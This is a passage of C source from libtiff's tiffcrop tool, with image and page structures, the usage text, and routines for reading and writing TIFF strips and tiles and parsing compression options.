{"c1", 25.512, 36.102, 0.707}, {"c2", 18.031, 25.512, 0.707}, {"c3", 12.756, 18.031, 0.707}, {"c4", 9.016, 12.756, 0.707}, {"c5", 6.378, 9.016, 0.707}, {"c6", 4.488, 6.378, 0.704}, {"", 0.000, 0.000, 1.000} }; /* Structure to define input image parameters */ struct image_data { float xres; float yres; uint32 width; uint32 length; uint16 res_unit; uint16 bps; uint16 spp; uint16 planar; uint16 photometric; uint16 orientation; uint16 compression; uint16 adjustments; }; /* Structure to define the output image modifiers */ struct pagedef { char name[16]; double width; /* width in pixels */ double length; /* length in pixels */ double hmargin; /* margins to subtract from width of sections */ double vmargin; /* margins to subtract from height of sections */ double hres; /* horizontal resolution for output */ double vres; /* vertical resolution for output */ uint32 mode; /* bitmask of modifiers to page format */ uint16 res_unit; /* resolution unit for output image */ unsigned int rows; /* number of section rows */ unsigned int cols; /* number of section cols */ unsigned int orient; /* portrait, landscape, seascape, auto */ }; struct dump_opts { int debug; int format; int level; char mode[4]; char infilename[PATH_MAX + 1]; char outfilename[PATH_MAX + 1]; FILE *infile; FILE *outfile; }; /* globals */ static int outtiled = -1; static uint32 tilewidth = 0; static uint32 tilelength = 0; static uint16 config = 0; static uint16 compression = 0; static uint16 predictor = 0; static uint16 fillorder = 0; static uint32 rowsperstrip = 0; static uint32 g3opts = 0; static int ignore = FALSE; /* if true, ignore read errors */ static uint32 defg3opts = (uint32) -1; static int quality = 100; /* JPEG quality */ /* static int jpegcolormode = -1; was JPEGCOLORMODE_RGB; */ static int jpegcolormode = JPEGCOLORMODE_RGB; static uint16 defcompression = (uint16) -1; static uint16 defpredictor = (uint16) -1; static int pageNum = 0; static int little_endian = 1; /* Functions adapted from tiffcp with additions or significant modifications */ static int readContigStripsIntoBuffer (TIFF*, uint8*); static int readSeparateStripsIntoBuffer (TIFF*, uint8*, uint32, uint32, tsample_t, struct dump_opts *); static int readContigTilesIntoBuffer (TIFF*, uint8*, uint32, uint32, uint32, uint32, tsample_t, uint16); static int readSeparateTilesIntoBuffer (TIFF*, uint8*, uint32, uint32, uint32, uint32, tsample_t, uint16); static int writeBufferToContigStrips (TIFF*, uint8*, uint32); static int writeBufferToContigTiles (TIFF*, uint8*, uint32, uint32, tsample_t, struct dump_opts *); static int writeBufferToSeparateStrips (TIFF*, uint8*, uint32, uint32, tsample_t, struct dump_opts *); static int writeBufferToSeparateTiles (TIFF*, uint8*, uint32, uint32, tsample_t, struct dump_opts *); static int extractContigSamplesToBuffer (uint8 *, uint8 *, uint32, uint32, tsample_t, uint16, uint16, struct dump_opts *); static int processCompressOptions(char*); static void usage(void); /* All other functions by Richard Nolde, not found in tiffcp */ static void initImageData (struct image_data *); static void initCropMasks (struct crop_mask *); static void initPageSetup (struct pagedef *, struct pageseg *, struct buffinfo []); static void initDumpOptions(struct dump_opts *); /* Command line and file naming functions */ void process_command_opts (int, char *[], char *, char *, uint32 *, uint16 *, uint16 *, uint32 *, uint32 *, uint32 *, struct crop_mask *, struct pagedef *, struct dump_opts *, unsigned int *, unsigned int *); static int update_output_file (TIFF **, char *, int, char *, unsigned int *); /* * High level functions for whole image manipulation */ static int get_page_geometry (char *, struct pagedef*); static int computeInputPixelOffsets(struct crop_mask *, struct image_data *, struct offset *); static int computeOutputPixelOffsets (struct crop_mask *, struct image_data *, struct pagedef *, struct pageseg *, struct dump_opts *); static int loadImage(TIFF *, struct image_data *, struct dump_opts *, unsigned char **); static int correct_orientation(struct image_data *, unsigned char **); static int getCropOffsets(struct image_data *, struct crop_mask *, struct dump_opts *); static int processCropSelections(struct image_data *, struct crop_mask *, unsigned char **, struct buffinfo []); static int writeSelections(TIFF *, TIFF **, struct crop_mask *, struct image_data *, struct dump_opts *, struct buffinfo [], char *, char *, unsigned int*, unsigned int); /* Section functions */ static int createImageSection(uint32, unsigned char **); static int extractImageSection(struct image_data *, struct pageseg *, unsigned char *, unsigned char *); static int writeSingleSection(TIFF *, TIFF *, struct image_data *, struct dump_opts *, uint32, uint32, double, double, unsigned char *); static int writeImageSections(TIFF *, TIFF *, struct image_data *, struct pagedef *, struct pageseg *, struct dump_opts *, unsigned char *, unsigned char **); /* Whole image functions */ static int createCroppedImage(struct image_data *, struct crop_mask *, unsigned char **, unsigned char **); static int writeCroppedImage(TIFF *, TIFF *, struct image_data *image, struct dump_opts * dump, uint32, uint32, unsigned char *, int, int); /* Image manipulation functions */ static int rotateContigSamples8bits(uint16, uint16, uint16, uint32, uint32, uint32, uint8 *, uint8 *); static int rotateContigSamples16bits(uint16, uint16, uint16, uint32, uint32, uint32, uint8 *, uint8 *); static int rotateContigSamples24bits(uint16, uint16, uint16, uint32, uint32, uint32, uint8 *, uint8 *); static int rotateContigSamples32bits(uint16, uint16, uint16, uint32, uint32, uint32, uint8 *, uint8 *); static int rotateImage(uint16, struct image_data *, uint32 *, uint32 *, unsigned char **); static int mirrorImage(uint16, uint16, uint16, uint32, uint32, unsigned char *); static int invertImage(uint16, uint16, uint16, uint32, uint32, unsigned char *); /* Functions to reverse the sequence of samples in a scanline */ static int reverseSamples8bits (uint16, uint16, uint32, uint8 *, uint8 *); static int reverseSamples16bits (uint16, uint16, uint32, uint8 *, uint8 *); static int reverseSamples24bits (uint16, uint16, uint32, uint8 *, uint8 *); static int reverseSamples32bits (uint16, uint16, uint32, uint8 *, uint8 *); static int reverseSamplesBytes (uint16, uint16, uint32, uint8 *, uint8 *); /* Functions for manipulating individual samples in an image */ static int extractSeparateRegion(struct image_data *, struct crop_mask *, unsigned char *, unsigned char *, int); static int extractCompositeRegions(struct image_data *, struct crop_mask *, unsigned char *, unsigned char *); static int extractContigSamples8bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamples16bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamples24bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamples32bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamplesBytes (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamplesShifted8bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32, int); static int extractContigSamplesShifted16bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32, int); static int extractContigSamplesShifted24bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32, int); static int extractContigSamplesShifted32bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32, int); static int extractContigSamplesToTileBuffer(uint8 *, uint8 *, uint32, uint32, uint32, uint32, tsample_t, uint16, uint16, uint16, struct dump_opts *); /* Functions to combine separate planes into interleaved planes */ static int combineSeparateSamples8bits (uint8 *[], uint8 *, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateSamples16bits (uint8 *[], uint8 *, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateSamples24bits (uint8 *[], uint8 *, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateSamples32bits (uint8 *[], uint8 *, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateSamplesBytes (unsigned char *[], unsigned char *, uint32, uint32, tsample_t, uint16, FILE *, int, int); static int combineSeparateTileSamples8bits (uint8 *[], uint8 *, uint32, uint32, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateTileSamples16bits (uint8 *[], uint8 *, uint32, uint32, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateTileSamples24bits (uint8 *[], uint8 *, uint32, uint32, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateTileSamples32bits (uint8 *[], uint8 *, uint32, uint32, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateTileSamplesBytes (unsigned char *[], unsigned char *, uint32, uint32, uint32, uint32, tsample_t, uint16, FILE *, int, int); /* Dump functions for debugging */ static void dump_info (FILE *, int, char *, char *, ...); static int dump_data (FILE *, int, char *, unsigned char *, uint32); static int dump_byte (FILE *, int, char *, unsigned char); static int dump_short (FILE *, int, char *, uint16); static int dump_long (FILE *, int, char *, uint32); static int dump_wide (FILE *, int, char *, uint64); static int dump_buffer (FILE *, int, uint32, uint32, uint32, unsigned char *); /* End function declarations */ /* Functions derived in whole or in part from tiffcp */ /* The following functions are taken largely intact from tiffcp */ static char* usage_info[] = { "usage: tiffcrop [options] source1 ... sourceN destination", "where options are:", " -h Print this syntax listing", " -v Print tiffcrop version identifier and last revision date", " ", " -a Append to output instead of overwriting", " -d offset Set initial directory offset, counting first image as one, not zero", " -p contig Pack samples contiguously (e.g. RGBRGB...)", " -p separate Store samples separately (e.g. RRR...GGG...BBB...)", " -s Write output in strips", " -t Write output in tiles", " -i Ignore read errors", " ", " -r # Make each strip have no more than # rows", " -w # Set output tile width (pixels)", " -l # Set output tile length (pixels)", " ", " -f lsb2msb Force lsb-to-msb FillOrder for output", " -f msb2lsb Force msb-to-lsb FillOrder for output", "", " -c lzw[:opts] Compress output with Lempel-Ziv & Welch encoding", " -c zip[:opts] Compress output with deflate encoding", " -c jpeg[:opts] Compress output with JPEG encoding", " -c packbits Compress output with packbits encoding", " -c g3[:opts] Compress output with CCITT Group 3 encoding", " -c g4 Compress output with CCITT Group 4 encoding", " -c none Use no compression algorithm on output", " ", "Group 3 options:", " 1d Use default CCITT Group 3 1D-encoding", " 2d Use optional CCITT Group 3 2D-encoding", " fill Byte-align EOL codes", "For example, -c g3:2d:fill to get G3-2D-encoded data with byte-aligned EOLs", " ", "JPEG options:", " # Set compression quality level (0-100, default 100)", " raw Output color image as raw YCbCr", " rgb Output color image as RGB", "For example, -c jpeg:rgb:50 to get JPEG-encoded RGB data with 50% comp. quality", " ", "LZW and deflate options:", " # Set predictor value", "For example, -c lzw:2 to get LZW-encoded data with horizontal differencing", " ", "Page and selection options:", " -N odd|even|#,#-#,#|last sequences and ranges of images within file to process", " The words odd or even may be used to specify all odd or even numbered images.", " The word last may be used in place of a number in the sequence to indicate.", " The final image in the file without knowing how many images there are.", " Numbers are counted from one even though TIFF IFDs are counted from zero.", " ", " -E t|l|r|b edge to use as origin for width and length of crop region", " -U units [in, cm, px ] inches, centimeters or pixels", " ", " -m #,#,#,# margins from edges for selection: top, left, bottom, right separated by commas", " -X # horizontal dimension of region to extract expressed in current units", " -Y # vertical dimension of region to extract expressed in current units", " -Z #:#,#:# zones of the image designated as position X of Y,", " eg 1:3 would be first of three equal portions measured from reference edge", " -z x1,y1,x2,y2:...:xN,yN,xN+1,yN+1", " regions of the image designated by upper left and lower right coordinates", "", "Export grouping options:", " -e c|d|i|m|s export mode for images and selections from input images.", " When exporting a composite image from multiple zones or regions", " (combined and image modes), the selections must have equal sizes", " for the axis perpendicular to the edge specified with -E.", " c|combined All images and selections are written to a single file (default).", " with multiple selections from one image combined into a single image.", " d|divided All images and selections are written to a single file", " with each selection from one image written to a new image.", " i|image Each input image is written to a new file (numeric filename sequence)", " with multiple selections from the image combined into one image.", " m|multiple Each input image is written to a new file (numeric filename sequence)", " with each selection from the image written to a new image.", " s|separated Individual selections from each image are written to separate files.", "", "Output options:", " -H # Set horizontal resolution of output images to #", " -V # Set vertical resolution of output images to #", " -J # Set horizontal margin of output page to # expressed in current units", " when sectioning image into columns x rows using the -S cols:rows option", " -K # Set verticalal margin of output page to # expressed in current units", " when sectioning image into columns x rows using the -S cols:rows option", " ", " -O orient orientation for output image, portrait, landscape, auto", " -P page page size for output image segments, eg letter, legal, tabloid, etc", " use #.#x#.# to specify a custom page size in the currently defined units", " where #.# represents the width and length", " -S cols:rows Divide the image into equal sized segments using cols across and rows down.", " ", " -F hor|vert|both", " flip (mirror) image or region horizontally, vertically, or both", " -R # [90,180,or 270] degrees clockwise rotation of image or extracted region", " -I [black|white|data|both]", " invert color space, eg dark to light for bilevel and grayscale images", " If argument is white or black, set the PHOTOMETRIC_INTERPRETATION ", " tag to MinIsBlack or MinIsWhite without altering the image data", " If the argument is data or both, the image data are modified:", " both inverts the data and the PHOTOMETRIC_INTERPRETATION tag,", " data inverts the data but not the PHOTOMETRIC_INTERPRETATION tag", " ", "-D opt1:value1,opt2:value2,opt3:value3:opt4:value4", " Debug/dump program progress and/or data to non-TIFF files.", " Options include the following and must be joined as a comma", " separate list. The use of this option is generally limited to", " program debugging and development of future options.", " ", " debug:N Display limited program progress indicators where larger N", " increase the level of detail. Note: Tiffcrop may be compiled with", " -DDEVELMODE to enable additional very low level debug reporting.", "", " Format:txt|raw Format any logged data as ASCII text or raw binary ", " values. ASCII text dumps include strings of ones and zeroes", " representing the binary values in the image data plus identifying headers.", " ", " level:N Specify the level of detail presented in the dump files.", " This can vary from dumps of the entire input or output image data to dumps", " of data processed by specific functions. Current range of levels is 1 to 3.", " ", " input:full-path-to-directory/input-dumpname", " ", " output:full-path-to-directory/output-dumpnaem", " ", " When dump files are being written, each image will be written to a separate", " file with the name built by adding a numeric sequence value to the dumpname", " and an extension of .txt for ASCII dumps or .bin for binary dumps.", " ", " The four debug/dump options are independent, though it makes little sense to", " specify a dump file without specifying a detail level.", " ", NULL }; /* This function could be modified to pass starting sample offset * and number of samples as args to select fewer than spp * from input image. These would then be passed to individual * extractContigSampleXX routines. */ static int readContigTilesIntoBuffer (TIFF* in, uint8* buf, uint32 imagelength, uint32 imagewidth, uint32 tw, uint32 tl, tsample_t spp, uint16 bps) { int status = 1; tsample_t sample = 0; tsample_t count = spp; uint32 row, col, trow; uint32 nrow, ncol; uint32 dst_rowsize, shift_width; uint32 bytes_per_sample, bytes_per_pixel; uint32 trailing_bits, prev_trailing_bits; uint32 tile_rowsize = TIFFTileRowSize(in); uint32 src_offset, dst_offset; uint32 row_offset, col_offset; uint8 *bufp = (uint8*) buf; unsigned char *src = NULL; unsigned char *dst = NULL; tsize_t tbytes = 0, tile_buffsize = 0; tsize_t tilesize = TIFFTileSize(in); unsigned char *tilebuf = NULL; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } tile_buffsize = tilesize; if (tilesize == 0 || tile_rowsize == 0) { TIFFError("readContigTilesIntoBuffer", "Tile size or tile rowsize is zero"); exit(-1); } if (tilesize < (tsize_t)(tl * tile_rowsize)) { #ifdef DEBUG2 TIFFError("readContigTilesIntoBuffer", "Tilesize %lu is too small, using alternate calculation %u", tilesize, tl * tile_rowsize); #endif tile_buffsize = tl * tile_rowsize; if (tl != (tile_buffsize / tile_rowsize)) { TIFFError("readContigTilesIntoBuffer", "Integer overflow when calculating buffer size."); exit(-1); } } tilebuf = _TIFFmalloc(tile_buffsize); if (tilebuf == 0) return 0; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; for (row = 0; row < imagelength; row += tl) { nrow = (row + tl > imagelength) ? imagelength - row : tl; for (col = 0; col < imagewidth; col += tw) { tbytes = TIFFReadTile(in, tilebuf, col, row, 0, 0); if (tbytes < tilesize && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read tile at row %lu col %lu, Read %lu bytes of %lu", (unsigned long) col, (unsigned long) row, (unsigned long)tbytes, (unsigned long)tilesize); status = 0; _TIFFfree(tilebuf); return status; } row_offset = row * dst_rowsize; col_offset = ((col * bps * spp) + 7)/ 8; bufp = buf + row_offset + col_offset; if (col + tw > imagewidth) ncol = imagewidth - col; else ncol = tw; /* Each tile scanline will start on a byte boundary but it * has to be merged into the scanline for the entire * image buffer and the previous segment may not have * ended on a byte boundary */ /* Optimization for common bit depths, all samples */ if (((bps % 8) == 0) && (count == spp)) { for (trow = 0; trow < nrow; trow++) { src_offset = trow * tile_rowsize; _TIFFmemcpy (bufp, tilebuf + src_offset, (ncol * spp * bps) / 8); bufp += (imagewidth * bps * spp) / 8; } } else { /* Bit depths not a multiple of 8 and/or extract fewer than spp samples */ prev_trailing_bits = trailing_bits = 0; trailing_bits = (ncol * bps * spp) % 8; /* for (trow = 0; tl < nrow; trow++) */ for (trow = 0; trow < nrow; trow++) { src_offset = trow * tile_rowsize; src = tilebuf + src_offset; dst_offset = (row + trow) * dst_rowsize; dst = buf + dst_offset + col_offset; switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, ncol, sample, spp, bps, count, 0, ncol)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; case 1: if (bps == 1) { if (extractContigSamplesShifted8bits (src, dst, ncol, sample, spp, bps, count, 0, ncol, prev_trailing_bits)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; } else if (extractContigSamplesShifted16bits (src, dst, ncol, sample, spp, bps, count, 0, ncol, prev_trailing_bits)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; case 2: if (extractContigSamplesShifted24bits (src, dst, ncol, sample, spp, bps, count, 0, ncol, prev_trailing_bits)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; case 3: case 4: case 5: if (extractContigSamplesShifted32bits (src, dst, ncol, sample, spp, bps, count, 0, ncol, prev_trailing_bits)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; default: TIFFError("readContigTilesIntoBuffer", "Unsupported bit depth %d", bps); return 1; } } prev_trailing_bits += trailing_bits; /* if (prev_trailing_bits > 7) */ /* prev_trailing_bits-= 8; */ } } } _TIFFfree(tilebuf); return status; } static int readSeparateTilesIntoBuffer (TIFF* in, uint8 *obuf, uint32 imagelength, uint32 imagewidth, uint32 tw, uint32 tl, uint16 spp, uint16 bps) { int i, status = 1, sample; int shift_width, bytes_per_pixel; uint16 bytes_per_sample; uint32 row, col; /* Current row and col of image */ uint32 nrow, ncol; /* Number of rows and cols in current tile */ uint32 row_offset, col_offset; /* Output buffer offsets */ tsize_t tbytes = 0, tilesize = TIFFTileSize(in); tsample_t s; uint8* bufp = (uint8*)obuf; unsigned char *srcbuffs[MAX_SAMPLES]; unsigned char *tbuff = NULL; bytes_per_sample = (bps + 7) / 8; for (sample = 0; (sample < spp) && (sample < MAX_SAMPLES); sample++) { srcbuffs[sample] = NULL; tbuff = (unsigned char *)_TIFFmalloc(tilesize + 8); if (!tbuff) { TIFFError ("readSeparateTilesIntoBuffer", "Unable to allocate tile read buffer for sample %d", sample); for (i = 0; i < sample; i++) _TIFFfree (srcbuffs[i]); return 0; } srcbuffs[sample] = tbuff; } /* Each tile contains only the data for a single plane * arranged in scanlines of tw * bytes_per_sample bytes. */ for (row = 0; row < imagelength; row += tl) { nrow = (row + tl > imagelength) ? imagelength - row : tl; for (col = 0; col < imagewidth; col += tw) { for (s = 0; s < spp && s < MAX_SAMPLES; s++) { /* Read each plane of a tile set into srcbuffs[s] */ tbytes = TIFFReadTile(in, srcbuffs[s], col, row, 0, s); if (tbytes < 0 && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read tile for row %lu col %lu, " "sample %lu", (unsigned long) col, (unsigned long) row, (unsigned long) s); status = 0; for (sample = 0; (sample < spp) && (sample < MAX_SAMPLES); sample++) { tbuff = srcbuffs[sample]; if (tbuff != NULL) _TIFFfree(tbuff); } return status; } } /* Tiles on the right edge may be padded out to tw * which must be a multiple of 16. * Ncol represents the visible (non padding) portion. */ if (col + tw > imagewidth) ncol = imagewidth - col; else ncol = tw; row_offset = row * (((imagewidth * spp * bps) + 7) / 8); col_offset = ((col * spp * bps) + 7) / 8; bufp = obuf + row_offset + col_offset; if ((bps % 8) == 0) { if (combineSeparateTileSamplesBytes(srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } } else { bytes_per_pixel = ((bps * spp) + 7) / 8; if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; switch (shift_width) { case 1: if (combineSeparateTileSamples8bits (srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } break; case 2: if (combineSeparateTileSamples16bits (srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } break; case 3: if (combineSeparateTileSamples24bits (srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } break; case 4: case 5: case 6: case 7: case 8: if (combineSeparateTileSamples32bits (srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } break; default: TIFFError ("readSeparateTilesIntoBuffer", "Unsupported bit depth: %d", bps); status = 0; break; } } } } for (sample = 0; (sample < spp) && (sample < MAX_SAMPLES); sample++) { tbuff = srcbuffs[sample]; if (tbuff != NULL) _TIFFfree(tbuff); } return status; } static int writeBufferToContigStrips(TIFF* out, uint8* buf, uint32 imagelength) { uint32 row, nrows, rowsperstrip; tstrip_t strip = 0; tsize_t stripsize; TIFFGetFieldDefaulted(out, TIFFTAG_ROWSPERSTRIP, &rowsperstrip); for (row = 0; row < imagelength; row += rowsperstrip) { nrows = (row + rowsperstrip > imagelength) ? imagelength - row : rowsperstrip; stripsize = TIFFVStripSize(out, nrows); if (TIFFWriteEncodedStrip(out, strip++, buf, stripsize) < 0) { TIFFError(TIFFFileName(out), "Error, can't write strip %u", strip - 1); return 1; } buf += stripsize; } return 0; } /* Abandon plans to modify code so that plannar orientation separate images * do not have all samples for each channel written before all samples * for the next channel have been abandoned. * Libtiff internals seem to depend on all data for a given sample * being contiguous within a strip or tile when PLANAR_CONFIG is * separate. All strips or tiles of a given plane are written * before any strips or tiles of a different plane are stored. */ static int writeBufferToSeparateStrips (TIFF* out, uint8* buf, uint32 length, uint32 width, uint16 spp, struct dump_opts *dump) { uint8 *src; uint16 bps; uint32 row, nrows, rowsize, rowsperstrip; uint32 bytes_per_sample; tsample_t s; tstrip_t strip = 0; tsize_t stripsize = TIFFStripSize(out); tsize_t rowstripsize, scanlinesize = TIFFScanlineSize(out); tsize_t total_bytes = 0; tdata_t obuf; (void) TIFFGetFieldDefaulted(out, TIFFTAG_ROWSPERSTRIP, &rowsperstrip); (void) TIFFGetField(out, TIFFTAG_BITSPERSAMPLE, &bps); bytes_per_sample = (bps + 7) / 8; rowsize = ((bps * spp * width) + 7) / 8; /* source has interleaved samples */ rowstripsize = rowsperstrip * bytes_per_sample * (width + 1); obuf = _TIFFmalloc (rowstripsize); if (obuf == NULL) return 1; for (s = 0; s < spp; s++) { for (row = 0; row < length; row += rowsperstrip) { nrows = (row + rowsperstrip > length) ? length - row : rowsperstrip; stripsize = TIFFVStripSize(out, nrows); src = buf + (row * rowsize); total_bytes += stripsize; memset (obuf, '\0', rowstripsize); if (extractContigSamplesToBuffer(obuf, src, nrows, width, s, spp, bps, dump)) { _TIFFfree(obuf); return 1; } if ((dump->outfile != NULL) && (dump->level == 1)) { dump_info(dump->outfile, dump->format,"", "Sample %2d, Strip: %2d, bytes: %4d, Row %4d, bytes: %4d, Input offset: %6d", s + 1, strip + 1, stripsize, row + 1, scanlinesize, src - buf); dump_buffer(dump->outfile, dump->format, nrows, scanlinesize, row, obuf); } if (TIFFWriteEncodedStrip(out, strip++, obuf, stripsize) < 0) { TIFFError(TIFFFileName(out), "Error, can't write strip %u", strip - 1); _TIFFfree(obuf); return 1; } } } _TIFFfree(obuf); return 0; } /* Extract all planes from contiguous buffer into a single tile buffer * to be written out as a tile. */ static int writeBufferToContigTiles (TIFF* out, uint8* buf, uint32 imagelength, uint32 imagewidth, tsample_t spp, struct dump_opts* dump) { uint16 bps; uint32 tl, tw; uint32 row, col, nrow, ncol; uint32 src_rowsize, col_offset; uint32 tile_rowsize = TIFFTileRowSize(out); uint8* bufp = (uint8*) buf; tsize_t tile_buffsize = 0; tsize_t tilesize = TIFFTileSize(out); unsigned char *tilebuf = NULL; if( !TIFFGetField(out, TIFFTAG_TILELENGTH, &tl) || !TIFFGetField(out, TIFFTAG_TILEWIDTH, &tw) || !TIFFGetField(out, TIFFTAG_BITSPERSAMPLE, &bps) ) return 1; if (tilesize == 0 || tile_rowsize == 0 || tl == 0 || tw == 0) { TIFFError("writeBufferToContigTiles", "Tile size, tile row size, tile width, or tile length is zero"); exit(-1); } tile_buffsize = tilesize; if (tilesize < (tsize_t)(tl * tile_rowsize)) { #ifdef DEBUG2 TIFFError("writeBufferToContigTiles", "Tilesize %lu is too small, using alternate calculation %u", tilesize, tl * tile_rowsize); #endif tile_buffsize = tl * tile_rowsize; if (tl != tile_buffsize / tile_rowsize) { TIFFError("writeBufferToContigTiles", "Integer overflow when calculating buffer size"); exit(-1); } } tilebuf = _TIFFmalloc(tile_buffsize); if (tilebuf == 0) return 1; src_rowsize = ((imagewidth * spp * bps) + 7) / 8; for (row = 0; row < imagelength; row += tl) { nrow = (row + tl > imagelength) ? imagelength - row : tl; for (col = 0; col < imagewidth; col += tw) { /* Calculate visible portion of tile. */ if (col + tw > imagewidth) ncol = imagewidth - col; else ncol = tw; col_offset = (((col * bps * spp) + 7) / 8); bufp = buf + (row * src_rowsize) + col_offset; if (extractContigSamplesToTileBuffer(tilebuf, bufp, nrow, ncol, imagewidth, tw, 0, spp, spp, bps, dump) > 0) { TIFFError("writeBufferToContigTiles", "Unable to extract data to tile for row %lu, col %lu", (unsigned long) row, (unsigned long)col); _TIFFfree(tilebuf); return 1; } if (TIFFWriteTile(out, tilebuf, col, row, 0, 0) < 0) { TIFFError("writeBufferToContigTiles", "Cannot write tile at %lu %lu", (unsigned long) col, (unsigned long) row); _TIFFfree(tilebuf); return 1; } } } _TIFFfree(tilebuf); return 0; } /* end writeBufferToContigTiles */ /* Extract each plane from contiguous buffer into a single tile buffer * to be written out as a tile. */ static int writeBufferToSeparateTiles (TIFF* out, uint8* buf, uint32 imagelength, uint32 imagewidth, tsample_t spp, struct dump_opts * dump) { tdata_t obuf = _TIFFmalloc(TIFFTileSize(out)); uint32 tl, tw; uint32 row, col, nrow, ncol; uint32 src_rowsize, col_offset; uint16 bps; tsample_t s; uint8* bufp = (uint8*) buf; if (obuf == NULL) return 1; TIFFGetField(out, TIFFTAG_TILELENGTH, &tl); TIFFGetField(out, TIFFTAG_TILEWIDTH, &tw); TIFFGetField(out, TIFFTAG_BITSPERSAMPLE, &bps); src_rowsize = ((imagewidth * spp * bps) + 7) / 8; for (row = 0; row < imagelength; row += tl) { nrow = (row + tl > imagelength) ? imagelength - row : tl; for (col = 0; col < imagewidth; col += tw) { /* Calculate visible portion of tile. */ if (col + tw > imagewidth) ncol = imagewidth - col; else ncol = tw; col_offset = (((col * bps * spp) + 7) / 8); bufp = buf + (row * src_rowsize) + col_offset; for (s = 0; s < spp; s++) { if (extractContigSamplesToTileBuffer(obuf, bufp, nrow, ncol, imagewidth, tw, s, 1, spp, bps, dump) > 0) { TIFFError("writeBufferToSeparateTiles", "Unable to extract data to tile for row %lu, col %lu sample %d", (unsigned long) row, (unsigned long)col, (int)s); _TIFFfree(obuf); return 1; } if (TIFFWriteTile(out, obuf, col, row, 0, s) < 0) { TIFFError("writeBufferToseparateTiles", "Cannot write tile at %lu %lu sample %lu", (unsigned long) col, (unsigned long) row, (unsigned long) s); _TIFFfree(obuf); return 1; } } } } _TIFFfree(obuf); return 0; } /* end writeBufferToSeparateTiles */ static void processG3Options(char* cp) { if( (cp = strchr(cp, ':')) ) { if (defg3opts == (uint32) -1) defg3opts = 0; do { cp++; if (strneq(cp, "1d", 2)) defg3opts &= ~GROUP3OPT_2DENCODING; else if (strneq(cp, "2d", 2)) defg3opts |= GROUP3OPT_2DENCODING; else if (strneq(cp, "fill", 4)) defg3opts |= GROUP3OPT_FILLBITS; else usage(); } while( (cp = strchr(cp, ':')) ); } } static int processCompressOptions(char* opt) { char* cp = NULL; if (strneq(opt, "none",4)) { defcompression = COMPRESSION_NONE; } else if (streq(opt, "packbits")) { defcompression = COMPRESSION_PACKBITS; } else if (strneq(opt, "jpeg", 4)) { cp = strchr(opt, ':'); defcompression = COMPRESSION_JPEG; while (cp) { if (isdigit((int)cp[1])) quality = atoi(cp + 1); else if (strneq(cp + 1, "raw", 3 )) jpegcolormode = JPEGCOLORMODE_RAW; else if (strneq(cp + 1, "rgb", 3 )) jpegcolormode = JPEGCOLORMODE_RGB; else usage(); cp = strchr(cp + 1, ':'); } } else if (strneq(opt, "g3", 2)) { processG3Options(opt); defcompression = COMPRESSION_CCITTFAX3; } else if (streq(opt, "g4")) { defcompression = COMPRESSION_CCITTFAX4; } else if (strneq(opt, "lzw", 3)) { cp = strchr(opt, ':'); if (cp) defpredictor = atoi(cp+1); defcompression = COMPRESSION_LZW; } else if (strneq(opt, "zip", 3)) { cp = strchr(opt, ':'); if (cp) defpredictor = atoi(cp+1); defcompression = COMPRESSION_ADOBE_DEFLATE; } else return (0); return (1); } static void usage(void) { int i; fprintf(stderr, "\n%s\n", TIFFGetVersion()); for (i = 0; usage_info[i] != NULL; i++) fprintf(stderr, "%s\n", usage_info[i]); exit(-1); } #define CopyField(tag, v) \ if (TIFFGetField(in, tag, &v)) TIFFSetField(out, tag, v) #define CopyField2(tag, v1, v2) \ if (TIFFGetField(in, tag, &v1, &v2)) TIFFSetField(out, tag, v1, v2) #define CopyField3(tag, v1, v2, v3) \ if 